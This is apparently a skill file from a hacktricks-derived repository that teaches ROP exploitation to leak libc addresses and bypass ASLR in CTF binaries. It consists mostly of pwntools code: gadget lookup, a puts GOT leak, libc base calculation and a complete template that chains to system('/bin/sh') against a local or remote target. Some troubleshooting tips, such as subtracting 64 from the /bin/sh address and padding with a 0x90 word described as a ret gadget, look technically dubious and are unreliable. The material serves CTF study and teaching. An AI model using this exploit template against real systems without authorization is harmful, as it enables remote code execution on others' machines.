Hacktricks-skills rop-libc-leak
How to create ROP exploits that leak libc addresses in binary exploitation challenges. Use this skill whenever the user mentions ROP, return-oriented programming, leaking libc, GOT/PLT exploitation, pwntools, binary exploitation, CTF challenges with buffer overflows, or needs to bypass ASLR by leaking libc addresses. This is essential for any binary exploitation task involving libc function calls, system(), or shellcode execution on modern protected binaries.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template/SKILL.MDROP Libc Leak Exploitation
A skill for creating Return-Oriented Programming (ROP) exploits that leak libc addresses to bypass ASLR (Address Space Layout Randomization) in binary exploitation challenges.
When to Use This Skill
Use this skill when:
- You have a buffer overflow vulnerability and need to leak libc addresses
- You're working on CTF challenges with ASLR protection
- You need to call libc functions like
,system()
, orputs()printf() - The binary has a GOT (Global Offset Table) you can exploit
- You need to chain ROP gadgets to achieve code execution
Core Concept
The exploit works in two stages:
- Leak Stage: Use
orputs()
to leak a libc function address from the GOTprintf() - Exploit Stage: Calculate libc base address and call
system("/bin/sh")
Prerequisites
- pwntools installed (
)pip install pwntools - The vulnerable binary
- Knowledge of the offset to overwrite the return address
- A libc library (can be found at https://libc.blukat.me/)
Step-by-Step Exploitation
Step 1: Setup and Connection
from pwn import * # Connection settings LOCAL = True # Set to False for remote REMOTE = False if LOCAL: p = process("./vuln") elf = ELF("./vuln") else: p = remote("host", port) elf = ELF("./vuln") # Initialize ROP rop = ROP(elf)
Step 2: Find the Offset
Use cyclic patterns to find where the return address is overwritten:
from pwn import cyclic, cyclic_find # Generate cyclic pattern payload = cyclic(264) + b"AAAAAAAA" p.sendline(payload) # After crash, find the offset # In GDB: x/wx $rsp to see the value # Then: cyclic_find(0x61616161) # Replace with actual value
Step 3: Find Gadgets
# Find pop rdi; ret gadget (needed to set function arguments) POP_RDI = next(rop.gadgets.search(r'^pop rdi; ret$')) # Get function addresses PUTS_PLT = elf.plt['puts'] # or elf.plt['printf'] MAIN = elf.symbols['main'] # or find manually if stripped
Step 4: Leak libc Address
# Get address of puts in GOT PUTS_GOT = elf.got['puts'] # Build ROP chain to leak rop_chain = p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN) # Send payload p.sendline(OFFSET + rop_chain) # Receive leaked address leaked = u64(p.recvline().strip().ljust(8, b'\x00')) log.info(f"Leaked puts address: {hex(leaked)}")
Step 5: Calculate libc Base
# Load the libc file libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # Calculate base address libc.address = leaked - libc.symbols['puts'] log.info(f"libc base: {hex(libc.address)}")
Step 6: Final Exploitation
# Find /bin/sh and system BINSH = next(libc.search(b"/bin/sh")) SYSTEM = libc.symbols['system'] # Build final ROP chain final_rop = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) # Send and get shell p.sendline(OFFSET + final_rop) p.interactive()
Common Issues and Solutions
Issue: main
symbol not found
mainCause: Binary is stripped (no symbols)
Solution: Find main address manually:
objdump -d vuln_binary | grep ".text"
Then set it manually:
MAIN = 0x401080 # Replace with actual address
Issue: sh: 1: %s%s%s%s%s%s%s%s: not found
sh: 1: %s%s%s%s%s%s%s%s: not foundCause:
/bin/sh address is misaligned (must be 16-byte aligned)
Solution: Subtract 64 bytes:
BINSH = next(libc.search(b"/bin/sh")) - 64
Issue: Wrong libc library
Cause: Using incorrect libc version
Solution: Verify libc base ends in
0x0:
if hex(libc.address)[-1] != '0': log.error("Wrong libc! Base should end in 0x0")
Find correct libc at https://libc.blukat.me/ using the leaked address.
Issue: Payload alignment
Cause: Stack must be 16-byte aligned for some libc versions
Solution: Add padding:
def align_payload(payload): if len(payload) % 16 == 0: return payload else: return payload + p64(0x9090909090909090) # Add ret gadget
Complete Template
from pwn import * # Configuration OFFSET = 264 # Replace with actual offset LOCAL = True # Connection if LOCAL: p = process("./vuln") elf = ELF("./vuln") else: p = remote("host", port) elf = ELF("./vuln") rop = ROP(elf) # Gadgets POP_RDI = next(rop.gadgets.search(r'^pop rdi; ret$')) PUTS_PLT = elf.plt['puts'] MAIN = elf.symbols['main'] # Leak libc PUTS_GOT = elf.got['puts'] leak_rop = p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN) p.sendline(b"A" * OFFSET + leak_rop) leaked = u64(p.recvline().strip().ljust(8, b'\x00')) # Calculate libc base libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc.address = leaked - libc.symbols['puts'] # Exploit BINSH = next(libc.search(b"/bin/sh")) SYSTEM = libc.symbols['system'] exploit_rop = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) p.sendline(b"A" * OFFSET + exploit_rop) p.interactive()
Tips for Success
- Always verify the libc - Wrong libc = wrong addresses = no shell
- Check for alignment - Some libc versions require 16-byte stack alignment
- Use GDB - Attach with
to debug locallygdb.attach(p) - Test locally first - Before trying remote exploitation
- Handle echoes - If the binary echoes input, account for it when receiving
Tools
- Find ROP gadgets:ROPgadgetROPgadget --binary vuln | grep "pop rdi"
- Find one-gadget shells:one_gadgetone_gadget libc.so.6
- Python exploitation frameworkpwntools
- Find libc from leaked addresseslibc.blukat.me
Security Note
This skill is for educational purposes and CTF challenges only. Only use these techniques on systems you own or have explicit permission to test.